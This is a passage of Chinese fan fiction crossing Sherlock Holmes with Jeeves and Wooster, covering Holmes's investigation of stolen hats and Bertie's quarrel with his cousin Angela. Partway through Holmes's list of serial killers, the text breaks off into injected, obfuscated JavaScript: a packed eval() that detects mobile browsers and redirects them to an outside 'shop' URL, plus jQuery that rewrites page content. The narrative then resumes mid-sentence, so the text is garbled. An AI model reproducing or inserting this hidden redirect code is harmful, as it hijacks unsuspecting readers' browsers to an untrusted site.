“但伍斯特先生又不是他的雇主,迈克罗夫特才是。” “事关职业操守,还有他们男仆内部某些约定俗成之类的。我只好转而给迈克罗夫特拍电报,不过还没有回音。” 我们谈话时,雷斯垂德终于缓过神来,对我们露出劫后余生的微笑。他从怀里摸出一张纸:“至少我脑子还没有吓糊涂,那家伙逃走时,不慎把这东西落下了。” 福尔摩斯立刻兴奋地搓了搓手,他兴致勃勃地抓过纸张,细长苍白的手指反复摩挲着,拿到灯光下仔细观察。 “这上面画着的图案,我认为就是那群强盗在找的东西,可能是古董之类的,很有可能就在斯威登老先生的店里,因为我把这幅画给他看时,他吓得连连否认自己藏有这么个东西。” 我凑到福尔摩斯身边,只看到了一团乱麻。那图案有个圆形的外廓,可能是个盘子、金币或珐琅瓷器,里面则是毫无规律的线条和畸形的涂鸦,拿远了看,好似有个丑恶的面孔在瞪着我。 我对这东西嗤之以鼻,可福尔摩斯似乎着了迷,眼睛一眨不眨地盯着它,仿佛有几分饥渴的向往之色。 我推了推他,他忽然把纸团起来扔进烟灰缸里,纸张在没干透的水中浸湿了。 他揉揉鼻梁,对我打了个手势叫我继续。 “福尔摩斯,我们是不是该把店主保护起来,防止强盗再次出现?”我问道。 他没有回答这个问题,对雷斯垂德道:“你刚才说他们出城了?这种来自意大利的纸非常高级,英国只有一个厂家在售卖,我们可以通过这条线索,找到伍斯特先生现在的住址。” 我在之前的篇章《蓝宝石案》里记载过福尔摩斯是如何巧妙地同店员套话的,这里我不再赘述。总之,等上午的阳光将笼罩在探长身上的恐惧吹散后,我们得到了那张纸的来源信息:伍斯特郡斯诺兹伯里市场外的乡间别墅,布林克里宅邸。 “雷斯垂德,你去一趟伍斯特郡,继续追查那伙强盗。而华生,我们俩等午饭后到古董店走一趟。” “你认为他们得手了吗?”探长问,“如果没得手,他们不会跑到乡下去,应该还留在伦敦。但我看店主的样子,不像是宝贵之物已经被人偷走的模样。” “重点不在于赃物,雷斯垂德。”福尔摩斯故意用手扶了扶帽檐,“我不认为伍斯特先生会大费周章觊觎所谓的古董,不,那只是西班牙强盗的目的。你放心,盗窃案很快就能解决,但这不意味着你就安全了。” 可怜的雷斯垂德又被吓到了。 “很多连环杀手都有保留纪念品的怪癖。”几分可以称得上是“邪恶”的笑容出现在福尔摩斯嘴角,“波兰的尤瑟比乌斯·皮乔基会剪下受害者的头发藏在箱子里,著名的开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17283853|198395||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 膛手杰克会带走死者的子宫、肾脏等器官。还有最常见的一种,保留受害者的衣服、饰品,例如牙买加的路易斯·哈钦森,德国的盖谢·戈特弗里德和弗里茨·哈曼……” 他每点出一个名字,雷斯垂德的脸色就惨白一分,终于他的害怕触及到底线,反而鼓起了巨大的勇气。 “好吧!”他用手摸了下放手枪的位置,“我倒要瞧瞧伍斯特先生抢我的帽子是不是为了把我杀死!” “那就要看你在布林克里宅邸有没有发现更多帽子了。”我亲爱的朋友继续调侃道。 虽然吓唬雷斯垂德很不道德,但一个想法闪进我的脑海,我也忍不住添油加醋:“说不定你某天晚上回到家里,看见被抢走的帽子就摆在床头。墙上还用颜料写着警告,什么‘我来去自由’、“下一个就是你”之类的。” 福尔摩斯终于爆发出悦耳的大笑,拍了拍面如菜色探长的肩膀:“好了,我们在此分头行动吧,雷斯垂德。如果你真的在房间里拿到失落的帽子,再来找我们。” ****** ****** 一整个早上,达利娅姑妈都对我怒目而视,我自觉心虚,也不敢招惹她。休息过后,我打算去找安吉拉表妹吹吹牛,却在她那里听到了糟糕的消息。 “你要和塔皮解除婚约?”我咂舌道,“这可不行,你们的事已经如同福音真理一般,怎么好解除?” “如果你昨晚有来餐厅吃晚饭,就会看见塔皮·格罗索普上蹿下跳使出浑身解数只为了博得美人一笑。那西班牙小妞和他一直眉来眼去,我都看在眼里。” “这、这不可能。”我结巴道,“能在瓦伦蒂娜小姐脸上看到表情才是件稀罕事。” 她扭过头去不理我。 我指天发誓塔皮绝对和瓦伦蒂娜小姐没有未来,叫她好好冷静冷静,仔细考虑自己的选择。汤姆姑父神志不清,达利娅姑妈又因为金币没偷到而气上心头,如果她和塔皮再闹矛盾,这个家就彻底没救了。 “说得轻巧,你自己招惹来的麻烦,怎么推给别人呢?”她斜睨我一眼,“让我忍受塔皮也行,你先把那女的引走。” “什么引走?” “你的相亲对象,自然要你亲自下场。” “噢,不!”我大叫道,“你想把我推入火海?安吉拉亲爱的,你的小脑瓜里藏着这么可怕的念头?我早就和你说过,自从和玛德琳·巴塞特、霍诺瑞亚·格罗索普、弗洛伦斯·克雷等姑娘反复订婚后,我就时刻与女性保持距离。如果不是阿加莎姑妈——” “是啊,阿加莎姨妈叫你结婚,不是吗?”她捂住耳朵不听我的抗议,“你就听她话行了呗?” 福至心灵,我忽然想起吉福斯的话:“但吉福斯说他们不是真正的贵族,我不必遵从阿加莎姑妈的指示。” 安吉拉翻了个白眼:“他撒谎。吉福斯当然不想你结婚,傻伯蒂,没有贴身男仆希望自己的主人结婚。‘妻子从前门进来,男仆从后门出去。’你要是全听他的,你就是上了当了。”